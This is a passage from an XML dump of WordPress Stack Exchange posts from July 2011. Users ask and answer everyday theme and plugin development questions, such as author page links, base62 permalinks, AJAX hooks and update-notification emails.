class=&quot;url fn n&quot; href=&quot;%1$s&quot; title=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;',&#xA;            get_author_posts_url( get_the_author_meta( 'ID' ) ),&#xA;            sprintf( esc_attr__( 'View all posts by %s', 'atmosphere' ), get_the_author() ),&#xA;        get_the_author()));&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might try uploading a new version of functions.php or see if your modified version still contains this function.&lt;/p&gt;&#xA;" OwnerUserId="6230" LastActivityDate="2011-07-07T05:10:38.997" CommentCount="1" />
  <row Id="22244" PostTypeId="2" ParentId="22023" CreationDate="2011-07-07T05:16:54.480" Score="0" ViewCount="" Body="&lt;p&gt;Glad it was of use to you askkirati, I commented the code in order to make it easy to see where the plugin needs to be fixed, it really wasn't a big change and to be honest I don't know why it wasn't included.&lt;/p&gt;&#xA;" OwnerUserId="6821" LastActivityDate="2011-07-07T05:16:54.480" />
  <row Id="22245" PostTypeId="1" CreationDate="2011-07-07T05:36:07.787" Score="0" ViewCount="27" Body="&lt;p&gt;I want to develop a plugin's admin pages. I was thinking of using template engines like &lt;a href=&quot;http://www.h2o-template.org/&quot; rel=&quot;nofollow&quot;&gt;h2o&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be pros and cons of this? Any situations where they should be used and where they should be avoided?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-07T05:36:07.787" Title="Using template engine for plugin's admin pages?" Tags="&lt;plugin-development&gt;&lt;admin-menu&gt;" CommentCount="2" />
  <row Id="22246" PostTypeId="1" CreationDate="2011-07-07T06:06:47.137" Score="0" ViewCount="59" Body="&lt;p&gt;I wish to add extra field in post comment section while admin is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.diigo.com/item/image/19c1l/so7t&quot; rel=&quot;nofollow&quot;&gt;Screenshot&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just add subject field in template comment form.But i couldn't store in db and retrieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this ? Help me !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-07-08T06:13:48.797" Title="How to add extra field in admin comment section" Tags="&lt;custom-field&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="22247" PostTypeId="1" CreationDate="2011-07-06T20:48:18.143" Score="0" ViewCount="77" Body="&lt;p&gt;Is there a way to display, via a PHP function, the author posts link (myblog.com/author/jason) of the current logged in user ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I would like to display, for every logged in user, a &quot;My personnal page&quot; link which links toward his author page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-07T14:08:15.963" LastActivityDate="2011-07-07T15:12:12.303" Title="Wordpress: How to get the current logged in author page URL?" Tags="&lt;posts&gt;&lt;users&gt;&lt;author&gt;&lt;link&gt;" AnswerCount="2" />
  <row Id="22248" PostTypeId="1" CreationDate="2011-07-06T21:12:07.480" Score="2" ViewCount="95" Body="&lt;p&gt;I need to create a paid subscription directory where people can register their business and enter its details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subscriptions should be paid on a monthly or yearly basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Business details include typical fields such as: description, address, phone number, zip code, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that people can create their user as usual, but all the data about their business should be entered in a custom post type. The reason I want this is because I can easily add new fields to a custom post type and also can assign different custom taxonomies, such as neighborhood, business type, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question #1: how do I restrict each user to a single post? When a user signs up, a post should be created and assigned to his username automatically.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question #2: I also need to offer paid membership per month or per year. How can integrate such a feature with a payment gateway, such as Paypal for example?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect an exact response for these questions, but it would be great if I could get some guideance on where to get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-08T06:36:57.987" LastActivityDate="2011-07-08T06:36:57.987" Title="Want to turn Wordpress into a paid subscription directory" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;directory&gt;&lt;subscription&gt;&lt;register&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="22249" PostTypeId="2" ParentId="22248" CreationDate="2011-07-07T04:39:15.423" Score="1" ViewCount="" Body="&lt;p&gt;There are all kinds of role assignment and ecommerce plugins available: it's best to start with a search of what's already out there: &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-07T04:39:15.423" />
  <row Id="22250" PostTypeId="2" ParentId="22219" CreationDate="2011-07-07T07:08:44.807" Score="0" ViewCount="" Body="&lt;p&gt;This is what I needed &lt;code&gt;$_REQUEST['post']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-07-07T07:08:44.807" />
  <row Id="22251" PostTypeId="2" ParentId="22247" CreationDate="2011-07-07T07:18:38.277" Score="2" ViewCount="" Body="&lt;p&gt;Try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo home_url() . '/author/' . get_the_author_meta( 'user_login', wp_get_current_user()-&amp;gt;ID ); ?&amp;gt;&quot; &amp;gt;My personal page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-07T15:12:12.303" LastActivityDate="2011-07-07T15:12:12.303" CommentCount="3" />
  <row Id="22252" PostTypeId="2" ParentId="22247" CreationDate="2011-07-07T07:21:00.223" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $current_user;&#xA;get_currentuserinfo();&#xA;echo get_author_posts_url($current_user-&amp;gt;ID); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6823" LastActivityDate="2011-07-07T07:21:00.223" />
  <row Id="22253" PostTypeId="1" AcceptedAnswerId="22478" CreationDate="2011-07-07T07:26:09.277" Score="2" ViewCount="157" Body="&lt;p&gt;I want my post-links to look like /%post_id62%_%postname%/ where %post_id62% is the post ID in base62 encoding (e.g. &lt;a href=&quot;http://example.com/y9Rlf_test/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/y9Rlf_test/&lt;/a&gt;) and my shortlinks to consist of /%post_id62% only (e.g. &lt;a href=&quot;http://example.com/y9Rlf&quot; rel=&quot;nofollow&quot;&gt;http://example.com/y9Rlf&lt;/a&gt;). This is what i've got so far (in my &lt;code&gt;functions.php&lt;/code&gt;) which obviously doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'yoyo_init' );&#xA;function yoyo_init() {&#xA;  add_rewrite_tag( '%post_id62%', '([A-Za-z0-9]+)' );&#xA;}&#xA;&#xA;add_action('generate_rewrite_rules','yoyo_generate_rewrite_rules');&#xA;function yoyo_generate_rewrite_rules($yoyo_rewrite) {&#xA;  global $wp_rewrite;&#xA;  $new_rules['/([0-9A-Za-z]+)/?$'] = 'index.php?p=' .&#xA;    base622dec($wp_rewrite-&amp;gt;preg_index(1));  // DOESNT WORK OF COURSE (executed only once when rewrite_rules are generated)&#xA;  $wp_rewrite-&amp;gt;rules = array_merge($new_rules, $wp_rewrite-&amp;gt;rules);&#xA;}&#xA;&#xA;add_filter( 'post_link', 'yoyo_post_link', 10, 2 );&#xA;function yoyo_post_link( $permalink, $post ) {&#xA;  if ( false !== strpos( $permalink, '%post_id62%' ) ) {&#xA;    $post_id62 = dec2base62( $post-&amp;gt;ID );&#xA;    $permalink = str_replace( '%post_id62%', $post_id62, $permalink );&#xA;  }&#xA;  return $permalink;&#xA;}&#xA;&#xA;add_filter('pre_get_shortlink', 'yoyo_custom_shortlink', 10, 4);&#xA;function yoyo_custom_shortlink($false, $post_id, $context, $allow_slugs) {&#xA;  global $wp_query;&#xA;  if($post_id or ($context == 'query' and $post_id = $wp_query-&amp;gt;get_queried_object_id())) {&#xA;    return home_url('/' . dec2base62($post_id));&#xA;  }&#xA;  return false;&#xA;}&#xA;&#xA;function dec2base62($number) {&#xA;  $digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';  $string = '';  while($number &amp;gt; 0) { $string = $digits[$number % 62] . $string;  $number = floor($number / 62); }&#xA;  return $string;&#xA;}&#xA;function base622dec($string) {&#xA;  $digits = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';  $number = 0;  while(strlen($string) and ($number *= 62 or strlen($string))) { $number += strpos($digits, $string[0]);  $string  = substr($string, 1); }&#xA;  return $number;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea how to tackle the problem?&#xA;Bonus points for avoiding the -N slug suffix when there's another post with the same title created (which might be avoided actually when setting the link structure to &quot;/%post_id62%_%postname%/&quot; but in order to have the shortlink functionality it should be &quot;/%post_id62%&quot; I guess; cf. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7922&quot;&gt;Turn off %postname% auto-incrementing?&lt;/a&gt;)!&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6254" LastEditorUserId="6254" LastEditorDisplayName="" LastEditDate="2011-07-10T23:15:34.907" LastActivityDate="2011-07-10T23:15:34.907" Title="custom permalink/shortlink with base62 encoded post ID" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;rewrite-rules&gt;&lt;rewrite-tag&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="22254" PostTypeId="2" ParentId="22219" CreationDate="2011-07-07T08:15:48.063" Score="-1" ViewCount="" Body="&lt;p&gt;are you working with a custom post type for page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always use &lt;code&gt;get_post_meta()&lt;/code&gt; in your template to get the post type value and if its not there it doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** EDIT **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong, but it sounds like you have 2 pages and you're trying to get the information in a meta box from one and load it in to the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so the best way is to get set a custom field up to store a number which would be the post ID, then in the front end call it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other options is to set up a custom post type with a specific meta box set up to build a list of 'Pages' then you can select from to then pull in a meta value associated with it. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditorDisplayName="" LastEditDate="2011-07-07T15:44:45.193" LastActivityDate="2011-07-07T15:44:45.193" />
  <row Id="22255" PostTypeId="1" CreationDate="2011-07-07T08:20:01.127" Score="0" ViewCount="51" Body="&lt;p&gt;how do I make certain posts to stay at the top for each category page. That is I want sticky posts for category pages. &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2011-08-07T10:20:16.020" Title="How to make sticky posts for category pages" Tags="&lt;sticky-post&gt;" AnswerCount="1" />
  <row Id="22256" PostTypeId="1" CreationDate="2011-07-07T08:40:02.150" Score="2" ViewCount="99" Body="&lt;p&gt;I have a question.&#xA;When I was on Wordpress 3.0, my ajax function worked. It return good things when I'm log in and log out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_action('wp_ajax_my_action', 'my_action_callback');&#xA;add_action('wp_ajax_nopriv_my_action', 'my_action_callback');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now since Wordpress 3.1, I saw &lt;strong&gt;wp_ajax_nopriv_my_action&lt;/strong&gt; &lt;em&gt;is deprecated&lt;/em&gt;. So, for a visitor, my ajax function doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the alternative ajax function for Wordpress 3.1 ? Please&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2011-07-07T11:15:18.470" Title="How wp_ajax_nopriv since Wordpress 3.1" Tags="&lt;3.1&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="22257" PostTypeId="1" CreationDate="2011-07-07T09:03:03.903" Score="2" ViewCount="60" Body="&lt;p&gt;The question title says it all. Myself I just stick with the default code from one of the packaged templates that comes with WordPress out of the box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php&#xA;    /*&#xA;     * Print the &amp;lt;title&amp;gt; tag based on what is being viewed.&#xA;     */&#xA;    global $page, $paged;&#xA;&#xA;    wp_title( '|', true, 'right' );&#xA;&#xA;    // Add the blog name.&#xA;    bloginfo( 'name' );&#xA;&#xA;    // Add the blog description for the home/front page.&#xA;    $site_description = get_bloginfo( 'description', 'display' );&#xA;    if ( $site_description &amp;amp;&amp;amp; ( is_home() || is_front_page() ) )&#xA;        echo &quot; | $site_description&quot;;&#xA;&#xA;    // Add a page number if necessary:&#xA;    if ( $paged &amp;gt;= 2 || $page &amp;gt;= 2 )&#xA;        echo ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) );&#xA;&#xA;    ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do any of you use different code for this?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-07T12:48:56.450" CommunityOwnedDate="2011-07-07T09:08:44.180" Title="What code do you use to generate the text to go into the HTML title tag?" Tags="&lt;title&gt;&lt;templates&gt;&lt;header&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="22258" PostTypeId="2" ParentId="22255" CreationDate="2011-07-07T09:04:43.333" Score="0" ViewCount="" Body="&lt;p&gt;take a look a on &lt;a href=&quot;http://wordpress.org/extend/plugins/astickypostorderer/&quot; rel=&quot;nofollow&quot;&gt;AStickyPostOrderER&lt;/a&gt;.it'll helps you.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-07T09:04:43.333" CommentCount="2" />
  <row Id="22259" PostTypeId="1" CreationDate="2011-07-07T09:32:13.823" Score="0" ViewCount="25" Body="&lt;p&gt;&lt;a href=&quot;http://www.part.lt/img/4490330b04db19a9043999a460246e39489.JPG&quot; rel=&quot;nofollow&quot;&gt;http://www.part.lt/img/4490330b04db19a9043999a460246e39489.JPG&lt;/a&gt; (IMG)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at yellow background.&#xA;How translate it, to Lithuanian lang? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I using IntenseDebate comments system.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2011-08-06T14:39:50.057" Title="How translate it? Intensedebate" Tags="&lt;plugins&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="22260" PostTypeId="1" CreationDate="2011-07-07T09:40:08.340" Score="0" ViewCount="45" Body="&lt;p&gt;I'm pretty new to WordPress and i'm trying to customise my theme to send an email to myself when a upgrade is required. I'd rather not use a plugin as this means I have to install it for each wordpress site. The code below is based from the &lt;a href=&quot;http://wordpress.org/extend/plugins/update-notifier&quot; rel=&quot;nofollow&quot;&gt;update notifier&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('check_updates_daily', 'check_updates');&#xA;&#xA;function check_updates_daily() {&#xA;    if (!wp_next_scheduled('check_updates')) {&#xA;        wp_schedule_event(time(), 'daily', 'check_updates');&#xA;    }&#xA;}&#xA;&#xA;function check_updates() {&#xA;&#xA;    $update_core = get_site_transient( 'update_core' );&#xA;    if (!empty($update_core) &amp;amp;&amp;amp; isset($update_core-&amp;gt;updates) &amp;amp;&amp;amp; is_array($update_core-&amp;gt;updates)&#xA;            &amp;amp;&amp;amp; isset($update_core-&amp;gt;updates[0]-&amp;gt;response) &amp;amp;&amp;amp; 'upgrade' == $update_core-&amp;gt;updates[0]-&amp;gt;response)&#xA;     {&#xA;        $newversion = $update_core-&amp;gt;updates[0]-&amp;gt;current;&#xA;        $oldversion = $update_core-&amp;gt;version_checked;&#xA;        $blogurl = esc_url( home_url() );&#xA;        $message = &quot;It's time to update the version of WordPress running at $blogurl from version $oldversion to $newversion.\n\n&quot;;&#xA;&#xA;        // don't let $wp_version mangling plugins mess this up&#xA;        if (!preg_match( '/^(\d+\.)?(\d+\.)?(\d+)$/', $oldversion)) {&#xA;            include( ABSPATH . WPINC . '/version.php' );&#xA;            $message = $wp_version == $newversion ? '' : &quot;It's time to update the version of WordPress running at $blogurl from version $wp_version to $newversion.\n\n&quot;;&#xA;        }       &#xA;    }       &#xA;&#xA;    //Send email&#xA;    if (!empty($message)) {     &#xA;&#xA;        $subject = apply_filters( 'updatenotifier_subject', 'Updates are available for '.get_bloginfo('name').'.');&#xA;&#xA;        wp_mail('email@email.com', $subject, $message);     &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did change it to check hourly to test if it worked but I didn't recieve any emails I also secheduled it to just send an email without checking for updates and this also didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, thanks =D&lt;/p&gt;&#xA;" OwnerUserId="6824" LastActivityDate="2011-08-08T02:20:50.213" Title="Email user on wordpress upgrade" Tags="&lt;email&gt;&lt;updates&gt;&lt;notifications&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22261" PostTypeId="1" AcceptedAnswerId="22641" CreationDate="2011-07-07T09:49:09.513" Score="0" ViewCount="31" Body="&lt;p&gt;I have a custom post type set up on a subsite in a multisite network which the code is in a plugin to activate it only for the subsite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some code that inserts a post using code but I belive it is trying to insert it into the main site. it is simply a php page with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;require( $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then some $_POST to grab some data and use that to create a post.&#xA;This works fine in a standalone install of WordPress but on the multisite it does not work.&#xA;Is there a way to choose the site to add the post to?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-07-11T14:25:45.763" Title="Insert post into subsite using code" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="22262" PostTypeId="2" ParentId="22260" CreationDate="2011-07-07T09:55:37.243" Score="0" ViewCount="" Body="&lt;p&gt;I forked the above plugin you mentioned as &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-updates-notifier/&quot; rel=&quot;nofollow&quot;&gt;WP Updates Notifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you want to look at that instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to include it in your theme all you do is copy the plugin file and place in your theme functions file instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need further help modifying this plugin leave a comment and I'll see what I can do.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-07T09:55:37.243" CommentCount="5" />
  <row Id="22263" PostTypeId="1" CreationDate="2011-07-07T10:10:44.110" Score="0" ViewCount="30" Body="&lt;p&gt;i have a wordpress site that has more than 3000 pending and 0 spam comments. i want to identify and delete only spams. there are ways to delete all pending but i want to first identify spams and then delte them. There was no spam guard plugin earlier. I have just installed akismet. using wordpress 3.2. Please guide me.&lt;/p&gt;&#xA;" OwnerUserId="6028" LastActivityDate="2011-09-06T00:43:16.707" Title="identify and delete spam comments from 3000 pending comments" Tags="&lt;comments&gt;" AnswerCount="2" />
  <row Id="22264" PostTypeId="1" AcceptedAnswerId="22266" CreationDate="2011-07-07T10:18:44.717" Score="1" ViewCount="115" Body="&lt;p&gt;Why I can't add tags since Wordpress 3.2 ?!&#xA;Ajax doesn't seem to work...&#xA;I gonna be crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help please ?&lt;/p&gt;&#xA;" OwnerUserId="2000" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-07T13:03:02.310" LastActivityDate="2011-07-07T13:03:02.310" Title="Tags in Wordpress 3.2" Tags="&lt;jquery&gt;&lt;tags&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="22265" PostTypeId="2" ParentId="22263" CreationDate="2011-07-07T10:20:43.300" Score="0" ViewCount="" Body="&lt;p&gt;take a look on this link.it'll helpful.&lt;a href=&quot;http://www.ilovefreesoftware.com/18/featured/11-anti-spam-plugins-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Anti Spam Plugin&lt;/a&gt;. my opinion is antispambee is good. &lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-07T10:20:43.300" />
  <row Id="22266" PostTypeId="2" ParentId="22264" CreationDate="2011-07-07T11:10:19.973" Score="3" ViewCount="" Body="&lt;p&gt;I believe this to be an issue with a jQuery conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since version 3.2 of WP jQuery has been updates. There might be other plugins you are using that doesn't play nice with the new jQuery version which is then triggering a JS error, thus stopping the tag/AJAX functionality from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try disabling all your plugins and see if this fixes the issue. If it does enable one by one to target which plugin is causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know what plugin is causing the issue then you can either contact the plugin author for a fix and try asking a question here to see if we can fix it. &lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-07T11:10:19.973" CommentCount="2" />
  <row Id="22267" PostTypeId="2" ParentId="22256" CreationDate="2011-07-07T11:15:18.470" Score="5" ViewCount="" Body="&lt;p&gt;Site you referred to is likely being updated in automated fashion. The reason it wrongfully claims that action is deprecated is because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you are &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_ajax_nopriv_%7B%24_post%5Baction%5D%7D&quot; rel=&quot;nofollow&quot;&gt;looking at page&lt;/a&gt; for &lt;code&gt;wp_ajax_nopriv_{$_POST[action]}&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;while in recent WP versions actual code is &lt;code&gt;wp_ajax_nopriv_{$_REQUEST[action]}&lt;/code&gt; (&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_ajax_nopriv_%7B%24_REQUEST%5Baction%5D%7D&quot; rel=&quot;nofollow&quot;&gt;also documented on that site&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So action is not deprecated, its functionality is not changed (only the way variable is accessed) and it is fully functional in current WP version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-07T11:15:18.470" CommentCount="3" />
  <row Id="22268" PostTypeId="1" AcceptedAnswerId="22274" CreationDate="2011-07-07T11:43:51.993" Score="0" ViewCount="43" Body="&lt;p&gt;I know this is a vague question, please just spend time on it if you are in the mood, I don't need to be flamed for not being more precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem with a theme I'm developing, for some reason it breaks the export function of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not asking for anyone to solve my problems here, but after having spend some hours on it now, I'd like to ask, if anyone recognizes this problem, and would give me a hint as to in what direction to look for the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow I have a feeling it has to do with a nonce check failure, but not sure..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway the problem is, that if i click the Export button in the page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.myserver.com/wp-admin/export.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I get the WP Failure Notice Screen. The url I'm taking to is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.myserver.com/wp-admin/export.php?download=true&amp;amp;content=all&amp;amp;cat=0&amp;amp;post_author=0&amp;amp;post_start_date=0&amp;amp;post_end_date=0&amp;amp;post_status=0&amp;amp;page_author=0&amp;amp;page_start_date=0&amp;amp;page_end_date=0&amp;amp;page_status=0&amp;amp;submit=Download+Export+File&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the page says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you want to do this?&#xA;Please try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this must be coming from wp_explain_nonce() inside wp-includes/functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch to the twenty ten theme the problem is gone. Back to my theme, and it's there, so it must be the theme.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on where to look or how to approach catching the bug in my theme is welcome.&lt;/p&gt;&#xA;" OwnerUserId="2071" LastEditorUserId="2071" LastEditorDisplayName="" LastEditDate="2011-07-08T19:56:22.947" LastActivityDate="2011-07-08T20:04:48.557" Title="my theme breaks WP export" Tags="&lt;nonce&gt;&lt;notices&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="22269" PostTypeId="1" CreationDate="2011-07-07T11:44:43.257" Score="0" ViewCount="114" Body="&lt;p&gt;1) I can't figure out how to display the image title for every image that is attached to a post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the following code &lt;strong&gt;$img_title = $all_photo_arr[0]-&gt;post_title;&lt;/strong&gt;  every image attached has the title of the first image. Meaning that the images change but the title remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Another question: is there a way to make the &lt;strong&gt;#bgimg scrollable without a visible scrollbar&lt;/strong&gt; using an additional jquery code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thank you very much for your help!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="2650" LastEditorDisplayName="" LastEditDate="2011-07-14T15:48:36.070" LastActivityDate="2011-08-14T09:23:43.210" Title="Image Title for Post Images - Fullscreen Gallery" Tags="&lt;jquery&gt;&lt;images&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="22270" PostTypeId="1" AcceptedAnswerId="22281" CreationDate="2011-07-07T11:51:40.660" Score="0" ViewCount="98" Body="&lt;p&gt;I've got jwplayer installed in wordpress and have it showing in a single.php page... the way I have it I need to get a custom field in the javascript and I;m having no luck echoing it in there. I know you cant straight up run PHP in a javascript function, hence I'm here asking noob questions :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript'&amp;gt;&#xA;jwplayer(&quot;lbp-inline-href-1&quot;).setup({&#xA;'flashplayer': '/wp-content/uploads/jw-player-plugin-for-wordpress/player/player.swf',&#xA;'image': '/wp-content/themes/sometheme/images/vid.png',&#xA;'file': '&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'video', true); ?&amp;gt;',&#xA;'skin': '/wp-content/plugins/jw-player-plugin-for-wordpress/skins/skewd.zip',&#xA;'stretching': 'exactfit',&#xA;'controlbar': 'bottom',&#xA;'width': '640',&#xA;'height': '360'&#xA;});&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is it possible to get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'video', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running in there for the file path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2011-07-07T12:47:18.890" Title="PHP echo inside javascript" Tags="&lt;php&gt;&lt;javascript&gt;" AnswerCount="2" />
  <row Id="22271" PostTypeId="2" ParentId="19268" CreationDate="2011-07-07T11:52:39.413" Score="0" ViewCount="" Body="&lt;p&gt;i think you are looking for some specific plugin.i think this &lt;a href=&quot;http://www.robogalleryplugin.com/&quot; rel=&quot;nofollow&quot;&gt;Robo gallery&lt;/a&gt; match your all aspects of requirements.this plugin is user friendly &amp;amp; free of cost.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-07T11:52:39.413" />
  <row Id="22272" PostTypeId="2" ParentId="19268" CreationDate="2011-07-07T12:27:14.013" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://galleria.aino.se/&quot; rel=&quot;nofollow&quot;&gt;Galleria&lt;/a&gt; can be &lt;a href=&quot;http://atastypixel.com/blog/wordpress/plugins/galleria-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;integrated&lt;/a&gt; with &lt;em&gt;WordPress&lt;/em&gt; and used with the standard gallery feature set.&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2011-07-07T12:27:14.013" CommentCount="1" />
